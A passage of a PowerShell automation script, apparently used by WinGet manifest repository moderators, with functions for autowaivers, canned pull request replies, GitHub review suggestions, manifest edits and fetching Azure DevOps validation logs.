Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VUE { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VR { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + } + $Enum.PRLabels.IEDS { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + } + } + if ($Waiver -ne $Enum.Char.Blank) { + $out = Get-CompletePR -PR $PR + Write-Output $out + }; #end if Waiver + }; #end Foreach Label +}; #end Add-Waiver + +Function Get-AddToAutowaiver { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $RemoveLabel, + $AutowaiverData = (Get-Content $AutowaiverFile | ConvertFrom-Csv), + $PRCommits = (Get-CommitFile -PR $PR2), + [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), + [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), + # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), + [switch]$AlsoRunAutowaiver, + [switch]$Display + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AddToAutowaiver $PR2"}; + if ($PackageIdentifier.Length -gt 1) { + $NewLine = $Enum.Char.Blank | Select-Object $Enum.AutowaiverColumns.PackageIdentifier,$Enum.AutowaiverColumns.ManifestValue,$Enum.AutowaiverColumns.ManifestKey,$Enum.AutowaiverColumns.RemoveLabel + $NewLine.PackageIdentifier = $PackageIdentifier + $NewLine.RemoveLabel = $RemoveLabel + if (($RemoveLabel -eq $Enum.PRLabels.VD) -or ($RemoveLabel -eq $Enum.PRLabels.VUU)) { + $PRCommits = Get-CommitFile -PR $PR -MatchName $Enum.ManifestFileTypes.Installer + $NewLine.ManifestKey = $Enum.ManifestKeys.InstallerUrl + $NewLine.ManifestValue = ((Get-YamlValue -Key $NewLine.ManifestKey -InputArray ($PRCommits -split "`n" | Where {$_ -match $NewLine.ManifestKey})) -split $Enum.Char.Slash)[$Enum.Num.Two] + } else { + $NewLine.ManifestKey = $Enum.ManifestKeys.PackageIdentifier + $NewLine.ManifestValue = $PackageIdentifier + } + Write-Host "Adding $NewLine to $AutowaiverFile" + + $AutowaiverData += $NewLine + ($AutowaiverData | Sort-Object PackageIdentifier | ConvertTo-Csv) | Out-File $AutowaiverFile + if ($AlsoRunAutowaiver) { + Get-Autowaiver -PR $PR -PRCommits $PRCommits -PackageIdentifier $PackageIdentifier + } + } else { + Write-Host "Error: PackageIdentifier $PackageIdentifier" + }#end if PackageIdentifier.Length + } +}#end function + +Function Get-Autowaiver { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $PRCommits = (Get-CommitFile -PR $PR2), + [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), + [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), + # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), + $AutowaiverData = (Get-Content $AutowaiverFile | ConvertFrom-Csv), + $WaiverData = ($AutowaiverData | ?{$_.PackageIdentifier -eq $PackageIdentifier}), + $PRLabels = (invoke-GitHubPRRequest -PR $PR2 -Type labels -Method $Enum.PRRequestMethods.Get -Output Content).name, + [switch]$WhatIf + ) + Process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Autowaiver $PR2"}; + $PRLabels = $PRLabels | where {$_ -notmatch "Waived"} + $JoinLabels = ($PRLabels -join $Enum.Char.Space) + + if ($WaiverData) { + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Waiver + if ($WhatIf) {Write-Host "JoinLabels $JoinLabels"} + } + foreach ($Waiver in $WaiverData) { + if ($WhatIf) {Write-Host "Waiver $Waiver"} + if ($JoinLabels -match $Waiver.RemoveLabel) { + if ($Waiver.RemoveLabel -eq $Enum.PRLabels.PD) { + Write-Host "PR: $PR - Completing PR for $PackageIdentifier" + if ($WhatIf) { + "Get-RemovePRLabel -PR $PR -LabelName $($Waiver.RemoveLabel)" + "Get-RemovePRLabel -PR $PR -LabelName $($Enum.PRLabels.NAF)" + "Get-RemovePRLabel -PR $PR -LabelName $($Enum.PRLabels.NA)" + "Get-AddPRLabel -PR $PR -LabelName $($Enum.PRLabels.VC)" + } else { + Get-RemovePRLabel -PR $PR -LabelName $Waiver.RemoveLabel + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NAF + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NA + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC + } + } else { + try { + if ($Waiver.ManifestKey -eq $Enum.ManifestKeys.InstallerUrl) { + $PRCommits = Get-CommitFile -PR $PR -MatchName $Enum.ManifestFileTypes.Installer + } + [string[]]$InputArray = ($PRCommits -split "`n" | Where {$_ -match $Waiver.ManifestKey}) + $PackageValue = Get-YamlValue -Key $Waiver.ManifestKey -InputArray $InputArray[0] + if ($WhatIf) {Write-Host "PackageValue $PackageValue"} + } catch {} + if ($PackageValue -match $Waiver.ManifestValue) { + Write-Host "PR: $PR - Adding $($Waiver.RemoveLabel) waiver for $PackageIdentifier" + if ($WhatIf) { + "Reply-ToPR -PR $PR -body '$($Enum.Strings.WingetbotWaiversAdd) $($Waiver.RemoveLabel)'" + } else { + Reply-ToPR -PR $PR -body "$($Enum.Strings.WingetbotWaiversAdd) $($Waiver.RemoveLabel)" + } + } else { + Write-Host "PR: $PR - PackageIdentifier $PackageIdentifier - $PackageValue notmatch $($Waiver.ManifestValue)" + }; #end if PackageValue + }; #end if Waiver.RemoveLabel + } else { + if ($WhatIf) { + "$JoinLabels -notmatch $($Waiver.RemoveLabel)" + } + }; #end foreach Waiver + }; #if WaiverData + } #Process +}; #end Get-Autowaiver + +#PR Comments +Function Get-CannedMessage { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.CannedMessages)} )][string[]]$Response, + $UserInput, + [switch]$NoClip, + [switch]$NotAutomated + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CannedMessage $Response"}; + [string]$Username = $Enum.Char.Ampersand + $UserInput.replace($Enum.Char.Space,$Enum.Char.Blank) + $Enum.Char.Comma + switch ($Response) { + $Enum.CannedMessages.AgreementMismatch { + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + $AgreementUrlFromList = ($AgreementsList | where {$_.PackageIdentifier -eq $PackageIdentifier}).AgreementUrl + $out = "Hi $Username`n`nThis package uses Agreements, but this manifest's AgreementsUrl doesn't match the AgreementsUrl on file: $AgreementUrlFromList" + } + $Enum.CannedMessages.AppsAndFeaturesNew { + $out = "Hi $Username`n`nThis manifest adds a `DisplayVersion` to the `AppsAndFeaturesEntries` that isn't present in previous manifest versions. This entry should be added to the previous versions, or removed from this version." + } + $Enum.CannedMessages.AppsAndFeaturesMissing { + $out = "Hi $Username`n`nThis manifest removes the `DisplayVersion` from the `AppsAndFeaturesEntries`, which is present in previous manifest versions. This entry should be added to this version, to maintain version matching, and prevent the 'upgrade always available' situation with this package." + } + $Enum.CannedMessages.AppsAndFeaturesMatch { + $out = "Hi $Username`n`nThis manifest uses the same values for `DisplayVersion` and `PackageVersion`. This is not recommended, and the `DisplayVersion` should be removed." + } + $Enum.CannedMessages.AppFail { + $out = "Hi $Username`n`nThe application installed normally, but gave an error instead of launching:`n" + } + $Enum.CannedMessages.Approve { + $out = "Hi $Username`n`nDo you approve of these changes?" + } + $Enum.CannedMessages.AutoValEnd { + $UserInput = Get-AutomatedErrorAnalysis ($UserInput -join $Enum.Char.LineBreak) + $out = "Automatic Validation ended with: `n> $UserInput" + } + $Enum.CannedMessages.DriverInstall { + $out = "Hi $Username`n`nThe installation is unattended, but installs a driver which isn't unattended:`nUnfortunately, installer switches are not usually provided for this situation. Are you aware of an installer switch to have the driver silently install as well?" + } + $Enum.CannedMessages.DoesntRun { + $out = "Hi $Username`n`nThis package seems to install normally, but doesn't run when launched. Is this expected? Manual Validation ended with: `n> $UserInput" + } + $Enum.CannedMessages.InstallerFail { + $out = "Hi $Username`n`nThe installer did not complete:`n" + } + $Enum.CannedMessages.InstallerMissing { + $out = "Hi $Username`n`nHas the installer been removed?" + } + $Enum.CannedMessages.InstallerNotSilent { + $out = "Hi $Username`n`nThe installation isn't unattended. Is there an installer switch to have the package install silently?" + } + $Enum.CannedMessages.ListingDiff { + $out = "This PR omits these files that are present in the current manifest:`n> $UserInput" + } + $Enum.CannedMessages.ManifestVersion { + $out = "Hi $Username`n`nWe don't often see the `1.0.0` manifest version anymore. Would it be possible to upgrade this to the [1.12.0]($GitHubBaseUrl/tree/master/doc/manifest/schema/1.12.0) version, possibly through a tool such as [WinGetCreate](https://learn.microsoft.com/en-us/windows/package-manager/package/manifest?tabs = minschema%2Cversion-example), [YAMLCreate]($GitHubBaseUrl/blob/master/Tools/YamlCreate.ps1), or [Komac](https://github.com/russellbanks/Komac)? " + } + $Enum.CannedMessages.ManValEnd { + $UserInput = Get-AutomatedErrorAnalysis ($UserInput -join $Enum.Char.LineBreak) + $out = "Manual Validation ended with: `n> $UserInput" + } + $Enum.CannedMessages.MergeFail { + if ($UserInput -match "Required status check") { + $UserInput += "" + } + $out = "Merging failed with:`n> $UserInput" + } + $Enum.CannedMessages.NoExe { + $out = "Hi $Username`n`nThe installer doesn't appear to install any executables, only supporting files:`n`nIs this expected?" + } + $Enum.CannedMessages.NotGoodFit { + $out = "Hi $Username`n`nUnfortunately, this package might not be a good fit for inclusion into the WinGet public manifests. Please consider using a local manifest (`WinGet install --manifest C:\path\to\manifest\files\`) for local installations. " + } + $Enum.CannedMessages.OneManifestPerPR { + $out = "Hi $Username`n`nWe have a limit of 1 manifest change, addition, or removal per PR. This PR modifies more than one manifest. Can these changes be spread across multiple PRs?" + } + $Enum.CannedMessages.Only64bit { + $out = "Hi $Username`n`nValidation failed on the $($Enum.Arch.86) package, and $($Enum.Arch.86) packages are validated on 32-bit OSes. So this might be a 64-bit package." + } + $Enum.CannedMessages.PackageFail { + $out = "Hi $Username`n`nThe package installs normally, but fails to run:`n" + } + $Enum.CannedMessages.PackageUrl { + $out = "Hi $Username`n`nCould you add a PackageUrl?" + } + $Enum.CannedMessages.PolicyWrapper { + $out = "" + } + $Enum.CannedMessages.PRNoYamlFiles { + $out = "Hi $Username`n`nThis error means that this PR diff Master had no output. In other words, it's like a merge conflict.`n> The pull request doesn't include any manifest files yaml." + } + $Enum.CannedMessages.RemoveAsk { + $out = "Hi $Username`n`nThis package installer is still available. Why should it be removed?" + } + $Enum.CannedMessages.Unavailable { + $out = "Hi $Username`n`nThe installer isn't available from the publisher's website:" + } + $Enum.CannedMessages.Unattended { + $out = "Hi $Username`n`nThe installation isn't unattended:`n`nIs there an installer switch to bypass this and have it install automatically?" + } + $Enum.CannedMessages.UrlBad { + $out = "Hi $Username`n`nI'm not able to find this InstallerUrl from the PackageUrl. Is there another page on the developer's site that has a link to the package?" + } + $Enum.CannedMessages.VersionCount { + $out = "Hi $Username`n`nThis manifest has the highest version number for this package. Is it available from another location? (This might be in error if the version is switching from semantic to string, or string to semantic.)" + } + $Enum.CannedMessages.WhatIsIEDS { + $out = "Hi $Username`n`nThe label `Internal-Error-Dynamic-Scan` is a blanket error for one of a number of internal pipeline errors or issues that occurred during the Dynamic Scan step of our validation process. It only indicates a pipeline issue and does not reflect on your package. Sorry for any confusion caused." + } + $Enum.CannedMessages.WordFilter { + $out = "This manifest contains a term that is blocked:`n`n> $UserInput" + } + Default { + $out = $Enum.CannedMessageResponses.($Response) + } + } + if (!($NotAutomated)) { + $out += "`n`n(Deterministic automation - build $build.)" + } + if ($NoClip) { + $out + } else { + $out |clip + } +} + +Function Add-GitHubReviewComment { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [string]$Comment = $Enum.Char.Blank, + $Commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), + $commitID = $commit.sha, + $Filename = $commit.files.filename, + $Side = $Enum.DiffData.Right, + $StartLine, + $Line + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubReviewComment $PR"}; + $Filename = Get-StringOrArrayLast $Filename + + $Response = @{} + $Response.body = $Comment + $Response.commit_id = $commitID + $Response.path = $Filename + if ($StartLine) { + $Response.start_line = $StartLine + } + $Response.start_side = $Side + $Response.line = $Line + $Response.side = $Side + [string]$Body = $Response | ConvertTo-Json + + $uri = "$GitHubApiBaseUrl/pulls/$PR/comments" + + $out = Invoke-GitHubRequest -Method $Enum.PRRequestMethods.Post -Uri $uri -Body $Body + $out.$Enum.PRRequestOutput.StatusDescription +} + +Function Get-PRApproval { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$PackageIdentifier, + [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), + [string]$auth = (Get-ValidationData -Property $Enum.ManifestKeys.PackageIdentifier -Match $PI -Exact).GitHubUserName, + [string]$Approver = (($auth -split $Enum.Char.Slash| Where-Object {$_ -notmatch "\("}) -join ", @"), + [switch]$DemoMode + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRApproval $PR"}; + Reply-ToPR -PR $PR -UserInput $Approver -CannedMessage Approve -Policy $Enum.PRLabels.NR +} + +Function Reply-ToPR { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [string]$CannedMessage, + $UserInput = ((Invoke-GitHubPRRequest -PR $PR2 -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).user.login), + [string]$Body = (Get-CannedMessage $CannedMessage -UserInput $UserInput -NoClip), + [string]$Policy, + [Switch]$Silent, + [Switch]$Automated, + [Switch]$WhatIf + ) + process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Reply-ToPR $PR"}; + if ($PR -eq 1) { + Write-Host "Invalid PR number, quitting to squelch output: $Body" + } else { + if ($Policy) { + $Body += "`n" + } + if ($Body -match $Enum.Strings.AllCommentsMustBeResolved) { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.CR + # Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VC + # Open-PRInBrowser -PR $PR + } + $Comments = $Enum.Char.Blank + if ($Automated) { + $Comments = Get-PRComments -PR $PR + if ($WhatIf) {Write-Host "WhatIf: Automated: $Automated Comments: $($Comments.count)"} + if (!(($Comments[$Enum.Index.Last].user.login -eq $Enum.GitHubUserNames.GitHubUserName) -AND ($Automated))) { + if ($WhatIf) { + Write-Host "WhatIf: Invoke-GitHubPRRequest -PR $PR -Method $($Enum.PRRequestMethods.Post) -Type $($Enum.PRRequestTypes.Comments) -Data $Body -Output $($Enum.PRRequestOutput.StatusDescription)" + } else { + if ($Silent) { + Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output Silent + } else { + Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription + }# end if Silent + }# end if WhatIf + } + } else { + if ($WhatIf) { + Write-Host "WhatIf: Invoke-GitHubPRRequest -PR $PR -Method $($Enum.PRRequestMethods.Post) -Type $($Enum.PRRequestTypes.Comments) -Data $Body -Output $($Enum.PRRequestOutput.StatusDescription)" + } else { + if ($Silent) { + Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output Silent + } else { + Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type $Enum.PRRequestTypes.Comments -Data $Body -Output $Enum.PRRequestOutput.StatusDescription + }# end if Silent + }#end if WhatIf + }#end if Automated + }#end if PR + }#end process +}#end Function + +Function Get-PRComments { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRComments $PR"}; + $Comments = (Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.Content -LastPage) + foreach ($Comment in $Comments) { + $Comment.($Enum.Strings.CreatedAt) = [TimeZoneInfo]::ConvertTimeBySystemTimeZoneId($Comment.($Enum.Strings.CreatedAt), $Enum.Strings.Pst) + } + + Return $Comments +} + +Function Get-NonStdPRComments { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Comments = (Get-PRComments -PR $PR2).body + ) + process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-NonStdPRComments $PR2"}; + foreach ($StdComment in (Get-Values $Enum.StandardPRComments)) { + $Comments = $Comments | Where-Object {$_ -notmatch $StdComment} + } + return $Comments + } +} + +Function Get-PRStateFromComments { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Comments = (Get-PRComments -PR $PR2 | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body), + $PRStateData = ((Get-Content $PRStateDataFile) -replace $Enum.Strings.GitHubUserName,$Enum.GitHubUserNames.GitHubUserName | ConvertFrom-Csv), + [switch]$WhatIf + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromComments $PR2"}; + if ($WhatIf) {Write-Host "$($MyInvocation.MyCommand.name): $PR - Comments $($Comments.Count)"} + $out = @() + foreach ($Comment in $Comments) { + $State = $Enum.Char.Blank + if ($WhatIf) {Write-Host "$($MyInvocation.MyCommand.name): $PR - $($Enum.Strings.CreatedAt) $($Comment.($Enum.Strings.CreatedAt))"} + + if (($Comment.body -match $Enum.Run.azp1) -OR + ($Comment.body -match $Enum.Run.azp2) -OR + ($Comment.body -match $Enum.Run.wingetbot)) { + if ($WhatIf) {Write-Host "PR $PR - State $($Enum.PRTrackerStates.PreValidation)"} + $State = $Enum.PRTrackerStates.PreValidation + } elseif (($Comment.UserName -eq $Enum.Robots.FabricBot) -AND ( + ($Comment.body -match $Enum.LabelActionComments.URLError) -OR + ($Comment.body -match $Enum.LabelActionComments.ValidationInstallationError) -OR + ($Comment.body -match $Enum.LabelActionComments.InternalError) -OR + ($Comment.body -match $Enum.LabelActionComments.ValidationUnattendedFailed) -OR + ($Comment.body -match $Enum.LabelActionComments.ManifestValidationError) + )) { + if ($WhatIf) { + Write-Host "PR $PR - State $($Enum.PRTrackerStates.LabelAction)" + } + $State = $Enum.PRTrackerStates.LabelAction + } else { + $StateKeys = (Get-Keys $Enum.PRTrackerStates) + foreach ($Key in $StateKeys) { + $KeyData = $PRStateData | where {$_.State -eq $Key} + if ($WhatIf) { + Write-Host "PR $PR - key $key - State $($States.Key) - botcomment $($KeyData.BotComment) - Comment $($Comment.body)" + } + if (($Comment.body -match $KeyData.BotComment) -AND ($Comment.UserName -eq $KeyData.User)) { + if ($WhatIf) { + Write-Host "PR $PR - match $($KeyData.BotComment)" + } + $State = $Enum.PRTrackerStates.($Key) + } + } + } + if ($WhatIf) { + Write-Host "PR $PR - State $State" + } + if ($State -ne $Enum.Char.Blank) { + if ($WhatIf) { + Write-Host "PR $PR - out $out" + } + $out += $Comment | Select-Object @{n = $Enum.Words.Event; e = {$State}},$Enum.Strings.CreatedAt + } + } + Return $out +} + +#Experimental +Function Get-RevertCompletePR { + Param( + [int]$PR + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRStateFromComments $PR2"}; + $VRlabels = Get-ValidationResult $PR + $VRlabels = $VRlabels | where {$_ -notmatch $Enum.PRLabels.vc} + if ($VRlabels) { + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.vc + $VRlabels | %{Get-AddPRLabel -PR $PR -LabelName $_} + } +} + +#Inject dependencies +Function Add-ToValidationFile {#AddVCRedist + Param( + [Parameter(mandatory = $True)][int]$VM, + [ValidateScript( { $_ -in (Get-Keys $Enum.Dependencies) } )][string]$Common = $Enum.Dependencies.VCRedist, + [string]$Dependency = $Common, + [string]$VMFolder = "$MainFolder\vm\$VM", + [string]$manifestFolder = "$VMFolder\manifest", + [string]$FilePath = "$manifestFolder\Package.installer.yaml", + $fileContents = (Get-Content $FilePath), + [string]$Selector = "Installers:", + [int]$offset = 1, + [int]$lineNo = (($fileContents | Select-String $Selector -List).LineNumber -$offset), + [string]$fileInsert = "Dependencies:`n PackageDependencies:`n - PackageIdentifier: $Dependency", + $fileOutput = ($fileContents[$Enum.Index.First..($lineNo -1)] + $fileInsert + $fileContents[$lineNo..($fileContents.Length)]) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-ToValidationFile $VM"}; + Write-Host "Writing $($fileContents.Length) lines to $FilePath" + Out-File -FilePath $FilePath -InputObject $fileOutput + Get-TrackerVMSetStatus $Enum.VMStatus.Revert $VM; +} + +Function Add-InstallerSwitch { + Param( + [Parameter(mandatory = $True)][int]$VM, + $Data = '/qn', + $Selector = "ManifestType:", + [ValidateSet("EXE","MSI","MSIX","Inno","Nullsoft","InstallShield")] + [string]$InstallerType + + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-InstallerSwitch $VM"}; + switch ($InstallerType) { + "MSIX"{ + $Data = '/quiet' + } + "Inno"{ + $Data = '/SILENT' + } + "Nullsoft"{ + $Data = '/S' + } + "InstallShield"{ + $Data = '/s' #or -s + } + } + $fileInsert = " InstallerSwitches:`n Silent: $Data" + Add-ToValidationFile $VM -Selector $Selector -fileInsert $fileInsert #-Force +} + +Function Get-UpdateHashInPR { + Param( + [int]$PR, + [string]$ManifestHash, + [string]$PackageHash, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $ManifestHash).LineNumber), + [string]$ReplaceString = (" InstallerSha256: $($PackageHash.toUpper())"), + [string]$comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateHashInPR $PR"}; + foreach ($Line in $LineNumbers) { + Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF + } +} + +Function Get-UpdateArchInPR { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [string]$SearchTerm = " Architecture: $($Enum.Arch.86)", + $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $SearchTerm).LineNumber), + [string]$ReplaceTerm = (($SearchTerm -split ": ")[$Enum.Index.Second]), + [ValidateScript( { $_ -in (Get-Keys $Enum.Arch) } )] + [string]$ReplaceArch = (($Enum.Arch.86,$Enum.Arch.64) | where {$_ -notmatch $ReplaceTerm}), + [string]$ReplaceString = ($SearchTerm -replace $ReplaceTerm,$ReplaceArch), + [string]$comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-UpdateArchInPR $PR"}; + foreach ($Line in $LineNumbers) { + Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF + } +} + +Function Add-DependencyToPR { + Param( + [int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Dependency = $Enum.Dependencies.VCRedist, + $SearchString = "Installers:", + $LineNumbers = ((Get-CommitFile -PR $PR2 | Select-String $SearchString).LineNumber), + $ReplaceString = "Dependencies:`n PackageDependencies:`n - PackageIdentifier: $Dependency`nInstallers:", + $comment = "``````suggestion`n$ReplaceString`n```````n`n(Deterministic automation - build $build.)" + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-DependencyToPR $PR2"}; + $out = $Enum.Char.Blank + foreach ($Line in $LineNumbers) { + $out += Add-GitHubReviewComment -PR $PR -Comment $comment -Line $Line -Action $Enum.PRLabels.NAF + } +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################## - ADO - ################################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Function Get-CheckData { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $PRData = (Get-PRData $PR), + $headSha = $PRData.head.sha, + $CheckData = (Invoke-GitHubRequest "$GitHubApiBaseUrl/commits/$headSha/check-runs?per_page=100&filter=latest" -JSON) + ) + process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckData $PR2"}; + Return $CheckData.check_runs #| Select-Object id, name, status, conclusion, started_at, completed_at | ft + } +} + +Function Get-ADOValidationStatus { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [switch]$Browser, + [switch]$WhatIf + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ADOValidationStatus $PR"}; + $PRbuild = (Get-BuildFromPR -PR $PR) + $LogNumber = (55) + $URL = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$PRbuild/logs/$LogNumber" + if ($Browser) { Start-Process $URL;Return $Null} + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR URL: $($URL)"} + $Content = (Invoke-GitHubRequest $URL -ProgressAction SilentlyContinue).content + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR Content Length: $($Content.Length)"} + $Log = ($Content -join $Enum.Char.Blank -split $Enum.Char.LineBreak) -replace $Enum.Char.EscapedStar,$Enum.Char.Blank -split $Enum.Char.LineBreak | where {$_.length -gt 1} + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR Log Length: $($Log.Length)"} + $LogLines = ($Log | Select-String $Enum.Words.Installation).LineNumber + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR LogLines: $($LogLines)"} + # $LogEntries = $Log -join $Enum.Char.LineBreak -replace "\*",$Enum.Char.Blank -split "Installation Validation Progress Report" -split "Installation Verification" + $LogEntries = $Log -join $Enum.Char.LineBreak -replace $Enum.Char.EscapedStar,$Enum.Char.Blank + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR LogEntries: $($LogEntries.Length)"} + + $out = @() + # foreach ($LogEntry in $LogEntries){ + for ($i = 0; $i -lt ($LogLines.Length - $Enum.Num.One); $i++) { + $LogEntry = ($LogEntries -split $Enum.Char.LineBreak)[$LogLines[$i]..($LogLines[$i + $Enum.Num.One] - $Enum.Num.Two)] + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i LogEntry: $($LogEntry.Length)"} + try{ + $Date = (Get-Date ($LogEntry -split $Enum.Char.LineBreak)[$Enum.Index.Last]) + $Date = [System.TimeZoneInfo]::ConvertTimeFromUtc($Date,(Get-TimeZone $Enum.Strings.Pst)) + } catch { + $Date = $Enum.Strings.NoData + } + if ($WhatIf) { Write-Host "$($MyInvocation.MyCommand.name): $PR $i Date: $Date"} + # $ThisLog = $Log[($LogLines[$i] + $Enum.Num.One)..($LogLines[$I + $Enum.Num.One] - 3)] #This cuts the stars off the top and bottom. + $Statii = (($LogEntry -split $Enum.Char.LineBreak | Select-String "Status") | Get-YamlValue -Key "Status" -JSON) -replace 